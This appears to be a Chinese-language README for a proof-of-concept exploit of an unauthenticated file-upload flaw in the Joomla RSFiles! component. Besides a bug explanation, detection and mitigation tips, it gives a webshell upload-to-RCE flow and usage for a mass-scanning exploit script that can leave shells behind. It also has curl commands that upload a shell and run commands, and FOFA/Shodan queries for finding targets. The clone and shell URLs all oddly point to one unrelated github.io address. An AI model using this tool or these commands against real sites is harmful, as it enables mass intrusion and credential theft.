CVE-2026-57827 是 RSFiles!(com_rsfiles)中的一个严重级别(CVSS 9.8)未认证任意文件上传漏洞。RSFiles! 是 Joomla 中广泛使用的文件管理器和下载组件,受影响版本为 < 1.17.12。
该漏洞利用的是拆分控制器设计缺陷:RSFiles! 将其上传功能拆分为两个前端任务——预检(权限校验 + 扩展名允许列表)和写入方法(将文件保存到磁盘)。写入方法可以被直接调用,从而完全绕过预检。无需认证,也无需 CSRF 令牌。
| 版本 | 状态 |
|---|---|
| < 1.17.12 | 存在漏洞 |
| 1.17.12+ | 已修复 |
发现者: Phil Taylor,mySites.guru(2026 年 7 月 10 日) 厂商: RSJoomla(rsjoomla.com) 组件: com_rsfiles
RSFiles! 在 /components/com_rsfiles/controllers/rsfiles.php 中将上传功能拆分为两个独立的前端任务:
// Task 1 — Pre-flight check (task=rsfiles.checkupload) — GUARDED
// Holds the permission gate (can this user upload?) and the extension
// allow-list (images, text, PDFs by default). This method decides yes
// or no. It writes nothing.
function checkupload() {
if (!$user->authorise('rsfiles.upload')) return false;
$allowed = ['jpg','png','gif','txt','pdf'];
if (!in_array($ext, $allowed)) return false;
return true;
}
// Task 2 — Write method (task=rsfiles.upload) — UNGUARDED (the vulnerability)
// Receives the file and saves to disk. NO permission check.
// NO file-type check. Reads filename straight from the request
// and hands the upload to Joomla's JFile::upload(), which
// accepts any file type unless told otherwise.
function upload() {
$file = $input->files->get('file');
// No permission check
// No extension check
// JFile::upload() accepts anything by default
JFile::upload($file['tmp_name'], $dest . $file['name']);
// File saved to /downloads/ (web root, .htaccess OFF by default)
}
&task=rsfiles.upload 直接调用任意任务,从而完全跳过预检检查。JFile::upload()),该处理器默认接受任意文件类型。.htaccess 是一项需主动启用的管理设置,且默认关闭。1. Attacker crafts PHP webshell (plain PHP, no polyglot needed)
2. POST /index.php?option=com_rsfiles&task=rsfiles.upload
file=<shell.php> (multipart, PHP payload)
folder=&overwrite=1
3. Joomla frontend controller dispatches to rsfiles.upload()
→ Skips rsfiles.checkupload (pre-flight) entirely
→ No permission check → No CSRF token check → No file-type check
→ JFile::upload() accepts any file type
4. File saved to /downloads/{shell_name}.php (web root)
.htaccess protection is opt-in, OFF by default
5. GET /downloads/{shell_name}.php?t=TOKEN&c=id
6. PHP executes → RCE as www-data
| 文件 | 用途 |
|---|---|
/components/com_rsfiles/controllers/rsfiles.php | 包含存在漏洞的 upload() 和 checkupload() 任务的控制器 |
/components/com_rsfiles/views/upload/tmpl/upload.php | 前端上传表单模板(已确认:name="file"、task=rsfiles.upload) |
/downloads/ | Web 根目录下的默认下载文件夹(默认关闭 .htaccess 保护) |
/briefcase/ | Briefcase 文件夹(同样可写) |
Look for POST requests to:
index.php?option=com_rsfiles&task=rsfiles.upload
that are NOT preceded by requests to:
index.php?option=com_rsfiles&task=rsfiles.checkupload
安全检查(权限门控 + 扩展名允许列表)与真正执行文件写入的方法是一个独立的预检步骤。只有第一个方法持有这些检查。第二个方法——即写入磁盘的那个——可以通过在 URL 中构造正确的 task 参数来被直接调用,从而绕过所有安全控制。
这是“检查与操作分离”反模式的典型示例:防护机制与其本应保护的操作被解耦,攻击者可以在不经过防护机制的情况下触达该操作。
git clone https://candisexterior171.github.io
cd CVE-2026-57827
pip install requests
# Single target
python cve_2026_57827.py -t target.com
# Mass scan
python cve_2026_57827.py -f targets.txt -o shells.txt
# Debug mode, leave shells on target
python cve_2026_57827.py -t target.com --debug --no-cleanup
-t, --target Single target (domain or IP)
-f, --file Target list, one per line
-o, --output Save RCE URLs to file
--threads Concurrent workers (default: 30)
--no-cleanup Leave shells on target
--debug Show every HTTP request
-v, --verbose Verbose output
$ python cve_2026_57827.py -t joomla-site.com
RSFiles! Joomla Component | CVE-2026-57827 | CVSS 9.8
Host : joomla-site.com
RSFiles! : YES v1.17.11
Upload : YES
RCE : YES
Shell : https://candisexterior171.github.io
Output : uid=33(www-data) gid=33(www-data) groups=33(www-data)
Time : 3.8s
步骤 1 — 上传 shell
curl -X POST 'https://candisexterior171.github.io' \
-F '[email protected]' \
-F 'folder=' \
-F 'overwrite=1'
步骤 2 — 访问 shell
curl 'https://candisexterior171.github.io'
步骤 3 — 执行命令
curl 'https://candisexterior171.github.io;hostname;uname -a'
缓解措施(如果无法更新)
# Delete the vulnerable controller file (renders RSFiles! unusable but secure)
rm /path/to/joomla/components/com_rsfiles/controllers/rsfiles.php
# Or enable .htaccess protection:
# RSFiles admin → Settings → Files → tick "Secure download folder" + "Secure briefcase folder"
FOFA: body="com_rsfiles" || body="RSFiles"
Shodan: http.html:"com_rsfiles"
成功利用可获得以 Web 服务器用户身份执行远程代码:
configuration.php → 数据库凭据、SMTP 密钥任何步骤均无需站点账户。匿名、未经身份验证、远程。
RSJoomla 在 1.17.12 版本中通过以下方式修复了该漏洞:
.htaccess 保护默认启用NUR FÜR BILDUNGS- UND AUTORISIERTE TESTZWECKE.
请勿在未经所有者明确许可的情况下对系统使用。作者对滥用不承担任何责任。
| 资源 | 链接 |
|---|---|
| NVD 条目 | CVE-2026-57827 |
| mySites.guru 公告 | mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce |
| RSJoomla 公告 | rsjoomla.com |
| CWE-434 | 危险类型文件的不受限上传 |
| 报告者 | Phil Taylor, mySites.guru |
与 RSJoomla 或 mySites.guru 无关联。